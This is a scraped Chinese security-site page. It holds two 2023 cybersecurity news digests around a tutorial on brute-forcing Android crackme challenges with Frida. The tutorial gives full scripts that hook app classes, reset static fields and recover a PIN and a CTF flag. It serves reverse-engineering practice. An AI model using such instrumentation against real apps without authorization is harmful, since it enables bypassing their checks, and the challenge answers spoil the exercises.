https://www.bleepingcomputer.com/news/security/charming-kitten-hackers-use-new-noknok-malware-for-macos/ 安全研究人员观察到他们归因于迷人小猫APT组的新活动,黑客使用针对macOS系统的新NokNok恶意软件。
2、美国政府警告:ChatGPT存在重大安全风险
https://www.thenews.com.pk/latest/1088379-warning-for-those-using-chatgpt 近日,美国联邦政府发布了一份报告,称用户需密切注意ChatGPT存在的网络安全风险,尤其是在网络钓鱼和恶意软件开发领域。
3、雷蛇遭网络攻击:游戏硬件巨头面临潜在的数据泄露
https://thecyberexpress.com/razer-cyber-attack-potential-data-breach/ 据报道,这些数据包括源代码、数据库、加密密钥和链接到 Razer.com 及其产品的后端访问登录。
4、马丁公司遭网络攻击:土耳其黑客团队瞄准美国国防巨头
https://thecyberexpress.com/lockheed-martin-cyber-attack-turk-hack-team/ 据黑客称,洛克希德马丁公司的官方网站在网络攻击后经历了重大中断
5、WordPress 插件 0day 威胁 20 万网站
https://www.solidot.org/story?sid=75444 漏洞存在于用于精简用户注册和登陆流程的 Ultimate Member 插件中,它被逾 20 万 WordPress 网站使用。
6、匿名苏丹在Tumblr之后瞄准社交媒体平台
https://thecyberexpress.com/flickr-cyber-attack-exposes-112m-users-risks/ 黑客组织Anonymous Sudan将目光投向了流行的图像共享平台Flickr。他们进行了长达一小时的攻击,并使Flickr网站无法访问。
7、VMware 警告客户 vRealize RCE 高危漏洞CVE-2023-20864已公开
https://securityaffairs.com/148346/hacking/vmware-vmware-rce-exploit.html VMware 警告客户,影响 vRealize 的 RCE 漏洞 CVE-2023-20864 的利用代码已公开可用。
8、微软警告 Office 零日攻击,但暂无可用补丁
https://www.securityweek.com/microsoft-warns-of-office-zero-day-attacks-no-patch-available/ 全球最大软件制造商微软发出紧急警告称,网络犯罪分子正在积极利用 Microsoft Windows 和 Office 产品中尚未修补的安全漏洞。
9、泛微E-Cology SQL注入漏洞安全风险通告
https://www.secrss.com/articles/56489 近日,奇安信CERT监测到厂商发布安全补丁更新,修复泛微E-Cology SQL注入漏洞(QVD-2023-15672)在内的多个漏洞。远程未授权攻击者可利用此漏洞获取敏感信息,进一步利用可能获取目标系统权限等。
10、HCA Healthcare 数据泄露影响了 1100 万患者
https://securityaffairs.com/148371/data-breach/hca-healthcare-data-breach.html HCA Healthcare 披露了一起数据泄露事件,该事件泄露了约 1100 万患者的个人信息。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Frida主动调用java函数来爆破解题思路
利用Frida去调用java代码中的类,然后爆破。算是一种主动调用的方法。主动调用可以用于爆破,模拟程序部分执行,需要注意的知识点是在java代码中的static类型数据在爆破过程中需要每次都对这种类型值重新设置。因为static类型在所有实例中都是统一,修改一个实例就会修改所有实例,需要用变量.属性.value = ...的写法重新设置值。
var bvar = b.$new(IntClass.$new(2));
for (...) {
bvar._static_val.value = ...;
}
背景知识
java类中静态值在爆破中需要修改
在java类中,一个属性如果是static的,不是说这个值不能改,而是说这个属性在程序中是唯一的,无论几个实例,只要改了其中一个实例中static的值,其他实例对应的值也会被改变。
在爆破过程中,如果需要爆破过程中不停new一个新的类实例,记得看看其中有没有static类型的变量。比如下面的这个例子
public class b {
public static ArrayList<Integer> a = new ArrayList<>();
static String b = "abcdefghijklmnopqrstuvwxyz";
static Integer d = 0;
Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};
public b(Integer num) {
for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {
a.add(this.c[intValue]);
}
for (int i = 0; i < num.intValue(); i++) {
a.add(this.c[i]);
}
}
...
每次new一个b类,比如b bVar = new b(2).如果要不停调用这个类,并且使用其中的方法,要注意其中的static变量会不会变。如果会变,那么在爆破过程中,需要new完实例后,修改static变量的值。
frida调用java中静态方法与动态方法
如果调用静态方法,可以直接调用,比如java代码如下
public class Verifier {
private Verifier() {
}
public static boolean verifyPassword(Context context, String input) {
...
}
那么如果调用verifyPassword可以直接在frida中调用
var verify = Java.use("org.teamsik.ahe17.qualification.Verifier");
verify.verifyPassword(a, b);
如果是动态方法,有两种方法可以调用动态方法
第一种是,使用内存中已存在实例的方法,需要用到java.choose(...),这个是在内存中寻找对象
//从内存中(堆)直接搜索已存在的对象
Java.choose('xxx.xxx.xxx', //这里写类名
{ //onMatch 匹配到对象执行的回调函数
onMatch: function (instance) {
},
//堆中搜索完成后执行的回调函数
onComplete: function () {
}
});
第二种是,我们new一个新的实例,然后调用实例中的方法
//获取类的引用
var cls = Java.use('这里写类名');
//调用构造函数 创建新对象 这里注意参数
var obj = cls.$new();
Easy-QAHE17
首先是看吾爱破解的一道题目,核心代码如下。
public void verifyPasswordClick(View view) {
String password = this.txPassword.getText().toString();
if (!Verifier.verifyPassword(this, password)) {
Toast.makeText(this, (int) org.teamsik.ahe17.qualification.easy.R.string.dialog_failure, 1).show();
} else {
showSuccessDialog();
}
}
public class Verifier {
private Verifier() {
}
public static boolean verifyPassword(Context context, String input) {
if (input.length() != 4) {
return false;
}
byte[] v = encodePassword(input);
byte[] p = "09042ec2c2c08c4cbece042681caf1d13984f24a".getBytes();
if (v.length == p.length) {
for (int i = 0; i < v.length; i++) {
if (v[i] != p[i]) {
return false;
}
}
return true;
}
return false;
}
...
...
...
输入长度为4,通过分析后面知道输入是数字。所以范围是1000-9999.所以是可以爆破的,但是爆破是要用到encodePassword方法,自己写一个当然也可以,但是很麻烦。这里就可以直接frida调用encodePassword函数.
注意这里encodePassword是静态方法,所以可以直接调用
function main() {
Java.perform(function x() {
console.log("In Java perform")
var verify = Java.use("org.teamsik.ahe17.qualification.Verifier")
var stringClass = Java.use("java.lang.String")
var p = stringClass.$new("09042ec2c2c08c4cbece042681caf1d13984f24a")
for (var i = 999; i < 10000; i++){
var v = stringClass.$new(String(i))
var vSign = verify.encodePassword(v)
if (parseInt(p) == parseInt(stringClass.$new(vSign))) {
console.log("yes: " + v)
break
}
console.log("not :" + v)
}
})
}
setImmediate(main)
结果
not :9078
not :9079
not :9080
not :9081
not :9082
yes: 9083
需要注意的是,要调用parseInt解析内存中的内存再对比,因为string类型是java的string类型,对js代码来说是一段内存。
EasyJava
这题是纯java题,逻辑很清晰,对输入的每一个字符单个检查,加密并对比。所以可以很简单的想到爆破的思路
public static Boolean b(String str) {
if (str.startsWith("flag{") && str.endsWith("}")) {
String substring = str.substring(5, str.length() - 1);
b bVar = new b(2);
a aVar = new a(3);
StringBuilder sb = new StringBuilder();
int i = 0;
for (int i2 = 0; i2 < substring.length(); i2++) {
sb.append(a(substring.charAt(i2) + "", bVar, aVar));
Integer valueOf = Integer.valueOf(bVar.b().intValue() / 25);
if (valueOf.intValue() > i && valueOf.intValue() >= 1) {
i++;
}
}
return Boolean.valueOf(sb.toString().equals("wigwrkaugala"));
}
return false;
}
所以可以单个字符爆破,但是要注意到,com.a.easyjava.b和com.a.easyjava.a两个类中都存在static属性的变量,下面是b类的
public class b {
public static ArrayList<Integer> a = new ArrayList<>();
static String b = "abcdefghijklmnopqrstuvwxyz";
static Integer d = 0;
Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};
public b(Integer num) {
for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {
a.add(this.c[intValue]);
}
for (int i = 0; i < num.intValue(); i++) {
a.add(this.c[i]);
}
}
public static void a() {
int intValue = a.get(0).intValue();
a.remove(0);
a.add(Integer.valueOf(intValue));
b += "" + b.charAt(0);
b = b.substring(1, 27);
Integer num = d;
d = Integer.valueOf(d.intValue() + 1);
}
public Integer a(String str) {
int i = 0;
if (b.contains(str.toLowerCase())) {
Integer valueOf = Integer.valueOf(b.indexOf(str));
for (int i2 = 0; i2 < a.size() - 1; i2++) {
if (a.get(i2) == valueOf) {
i = Integer.valueOf(i2);
}
}
} else {
i = str.contains(" ") ? -10 : -1;
}
a();
return i;
}
public Integer b() {
return d;
}
}
b类中的a,b,d变量都是static类型的同时,这三个变量都会被下面的方法所改变。所以如果要爆破,需要重新修改实例中的属性值。如果不重新修改属性的值,我们通过观察b类中的b变量可以看到会有什么问题。
这个脚本是爆破第一个字符在加密后所有的可能性。爆破范围通过分析b类可以缩小到a-z,然后模仿加密过程,加密一个字符看看结果。中间每循环一次会重新申请一个b和a类的实例,想通过申请新的实例来避免类中变量的修改.
function main() {
Java.perform(function x() {
console.log('[+] script load');
var b = Java.use("com.a.easyjava.b");
var a = Java.use("com.a.easyjava.a");
var StringClass = Java.use("java.lang.String");
var IntClass = Java.use("java.lang.Integer");
var MainActivity = Java.use("com.a.easyjava.MainActivity");
try { // try catch 用来查看报错的,可以去掉
for (var i = 97; i < 123; i++) {
var bvar = b.$new(IntClass.$new(2));
var avar = a.$new(IntClass.$new(3));
var s = String.fromCharCode(i);
var c = MainActivity.a(s, bvar, avar);
console.log(`enc(${s}) => ${c}, b.a => ${b._b.value}`);
}
} catch (e) {
console.log(e);
}
console.log('[+] script end');
})
}
setImmediate(main)
结果如下
# python3 loader.py
[+] script load
enc(a) => a, b.b => bcdefghijklmnopqrstuvwxyza
enc(b) => a, b.b => cdefghijklmnopqrstuvwxyzab
enc(c) => a, b.b => defghijklmnopqrstuvwxyzabc
enc(d) => a, b.b => efghijklmnopqrstuvwxyzabcd
enc(e) => a, b.b => fghijklmnopqrstuvwxyzabcde
enc(f) => a, b.b => ghijklmnopqrstuvwxyzabcdef
enc(g) => a, b.b => hijklmnopqrstuvwxyzabcdefg
enc(h) => a, b.b => ijklmnopqrstuvwxyzabcdefgh
enc(i) => a, b.b => jklmnopqrstuvwxyzabcdefghi
enc(j) => a, b.b => klmnopqrstuvwxyzabcdefghij
enc(k) => a, b.b => lmnopqrstuvwxyzabcdefghijk
enc(l) => a, b.b => mnopqrstuvwxyzabcdefghijkl
enc(m) => a, b.b => nopqrstuvwxyzabcdefghijklm
enc(n) => a, b.b => opqrstuvwxyzabcdefghijklmn
enc(o) => a, b.b => pqrstuvwxyzabcdefghijklmno
enc(p) => a, b.b => qrstuvwxyzabcdefghijklmnop
enc(q) => a, b.b => rstuvwxyzabcdefghijklmnopq
enc(r) => a, b.b => stuvwxyzabcdefghijklmnopqr
enc(s) => a, b.b => tuvwxyzabcdefghijklmnopqrs
enc(t) => a, b.b => uvwxyzabcdefghijklmnopqrst
enc(u) => a, b.b => vwxyzabcdefghijklmnopqrstu
enc(v) => a, b.b => wxyzabcdefghijklmnopqrstuv
enc(w) => a, b.b => xyzabcdefghijklmnopqrstuvw
enc(x) => a, b.b => yzabcdefghijklmnopqrstuvwx
enc(y) => a, b.b => zabcdefghijklmnopqrstuvwxy
enc(z) => a, b.b => abcdefghijklmnopqrstuvwxyz
[+] script end
可以看到实际上,虽然每次new了一个新的实例,但是实例中的static变量是变了的,这导致了之前的爆破会影响到下一次爆破,同时也可以看到加密结果全部都是a。所以如果要爆破,就得想办法让每次爆破,新的实例中的值不变。
需要使用bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");这样的语法对static类型的变量重新设值。
需要注意的是有些变量在jadx/jeb中看到的名字可能会被重载,需要加一个下划线比如b -> _b。可以通过console打印看看是不是unknow,也可以直接用jadx右键复制frida片段,查看此变量frida需不需要加一个下划线
解题脚本的思路就很简单,单个字符来爆破,每次重新生成类的实例,并将类中的值置为初始状态(通过调用类$init方法)。
exp
function main() {
Java.perform(function x() {
console.log('[+] script load');
var b = Java.use("com.a.easyjava.b");
var a = Java.use("com.a.easyjava.a");
var IntClass = Java.use("java.lang.Integer");
var StringClass = Java.use("java.lang.String");
var ArrayList = Java.use("java.util.ArrayList");
var MainActivity = Java.use("com.a.easyjava.MainActivity");
var flag = new Array();
var cipher = "wigwrkaugala";
var bvar = b.$new(IntClass.$new(2));
var avar = a.$new(IntClass.$new(3));
for (var _ = 0; _ < cipher.length; _++) {
for (var i = 97; i < 123; i++) { // 97 - 123是字母a-z
// reset static value
bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");
bvar.d.value = IntClass.$new(0);
bvar._a.value = ArrayList.$new();
bvar["$init"](IntClass.$new(2));
avar.b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");
avar.d.value = IntClass.$new(0);
avar._a.value = ArrayList.$new();
avar["$init"](IntClass.$new(3));
var s = String.fromCharCode(i);
flag.push(s);
for (var e = 0; e < flag.length; e++) {
var c = MainActivity.a(flag[e].toString(), bvar, avar);
if (c != cipher[e]) {
break;
}
}
if (c == cipher[flag.length - 1]) {
console.log(flag);
break
}
flag.length -= 1;
}
}
console.log('flag{' + flag.join('') + '}');
console.log('[+] script end');
})
}
setImmediate(main);
结果
root@kali ~/frida-script-dev# python3 loader.py
[+] script load
v
v,e
v,e,n
v,e,n,i
v,e,n,i,v
v,e,n,i,v,i
v,e,n,i,v,i,a
v,e,n,i,v,i,a,i
v,e,n,i,v,i,a,i,v
v,e,n,i,v,i,a,i,v,i
v,e,n,i,v,i,a,i,v,i,c
v,e,n,i,v,i,a,i,v,i,c,i
flag{veniviaivici}
[+] script end
网络安全日报 2023年07月11日
1、Kimsuky组织使用Chrome远程桌面进行攻击活动
https://asec.ahnlab.com/en/55145 研究人员发现Kimsuky组织在最近的攻击活动中使用Chrome远程桌面。该组织利用以WSF、JS脚本作为附件的钓鱼邮件发起攻击,这些脚本伪装成文档文件诱导用户执行,以此传播AppleSeed后门程序,并打开一个正常的文档进行掩饰。AppleSeed于2019年左右被发现,是一种Kimsuky组织常使用的后门程序。该后门程序执行后在受害主机中下载执行其他恶意软件,包括用于窃取3个执行浏览器账户凭据的窃密木马、用于执行额外远程桌面会话的RDP Patcher程序、Ngrok内网穿透程序,以及Chrome远程桌面。Kimsuky组
2、黑客出售3500万印度尼西亚护照持有者的个人信息
https://www.govinfosecurity.com/35m-indonesians-passport-data-for-sale-on-dark-web-for-10k-a-22492 印度尼西亚的安全研究人员表示,黑客正在暗网中出售印度尼西亚护照持有者的个人信息,包括姓名、出生日期、性别、护照号码和护照有效期。黑客发布了含有100万分数据记录的样本,以证明其真实性。该黑客在帖子中表示1万美元的价格出售所有数据。印度尼西亚通信和信息部表示,正在调查此次数据泄露事件,将进行深入调查并尽快公布调查结果。
3、Kings of Translation泄露其文件数据信息
https://www.hackread.com/global-translation-service-exposed-records/ Kings of Translation是一家总部位于纽约公司,提供包括120多种语言的翻译服务。研究人员发现了一个属于该公司的数据库,该数据库不受密码保护,其中包含超过25000条数据记录。暴露的数据中含有个人身份信息、源代码内部截图以及客户的文档。由于该公司的客户大多是教育机构或其他国家的政府机构,泄露的文档中存在许多法律文件,如法庭文件、合同、证书以及与签证或移民相关的文件。研究人员无法确定该数据库已经暴露多长时间,并已向该公司反应问题。目前,Kin
4、Apple 发布针对被利用的WebKit 零日漏洞紧急 iOS 补丁
https://www.securityweek.com/apple-ships-urgent-ios-patch-for-webkit-zero-day/ Apple 推出紧急 iOS 和 iPadOS 软件更新,并警告称已检测到零日漏洞利用。
5、研究人员发布了 Ubiquiti EdgeRouter 漏洞的 PoC
https://securityaffairs.com/148334/hacking/ubiquiti-edgerouter-flaw.html Ubiquiti EdgeRouter 中的 CVE-2023-31998 漏洞的概念验证 (PoC) 已公开发布。CVE-2023-31998 缺陷 (CVSS v3 5.9) 是一个影响 Ubiquiti EdgeRouters 和 Aircubes 的堆溢出问题,攻击者可以利用它潜在地执行任意代码并中断对易受攻击设备的 UPnP 服务。
6、Revolut US 支付存在缺陷,导致 2000 万美元被盗
https://securityaffairs.com/148315/breaking-news/revolut-payment-systems-flaw.html Revolut 支付系统中的零日漏洞使威胁行为者在 2022 年初窃取了超过 2000 万美元。
7、Firefox新功能"隔离域"可阻止危险扩展程序在特定网站上的运行,以保护用户安全
https://thehackernews.com/2023/07/new-mozilla-feature-blocks-risky-add.html Mozilla 宣布,作为一项名为“隔离域”的新功能的一部分,某些附加组件可能会被阻止在某些网站上运行。
8、Vishing 走向高科技:新的“Letscall”恶意软件采用语音流量路由
https://thehackernews.com/2023/07/vishing-goes-high-tech-new-letscall.html 研究人员对一种名为“ Letscall ”的新兴高级语音网络钓鱼( vishing ) 形式发出警告。该技术目前针对的是韩国的个人。“Letscall”背后的犯罪分子采用多步攻击来欺骗受害者从假冒的 Google Play 商店网站下载恶意应用程序。一旦安装了恶意软件,它就会将来电重定向到犯罪分子控制下的呼叫中心。经过训练的操作员冒充银行员工,然后从毫无戒心的受害者那里提取敏感信息。
9、BlackByte 2.0 勒索软件:仅需 5 天即可渗透、加密和扩展
https://thehackernews.com/2023/07/blackbyte-20-ransomware-infiltrate.html 最近,微软的事件响应团队调查了 BlackByte 2.0 勒索软件攻击,并揭露了这些网络攻击的可怕速度和破坏性。
10、中央网信办发文 13 条要求加强“自媒体”管理
https://www.freebuf.com/articles/371580.html 目前,“自媒体”乱想横生,个别博主为了吸引流量,恶意编造虚假事件、嫁接热点事件,对社会经济形式和政策妄加宣传。甚至个别自媒体博主再明知或应知为谣言、虚假消息、有害信息,仍肆意传播,严重影响社会稳定发展。为加强“自媒体”管理,压实网站平台信息内容管理主体责任,健全常态化管理制度机制,推动形成良好网络舆论生态。7 月 10 日,中国网信办发布了《关于加强“自媒体”管理的通知》
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

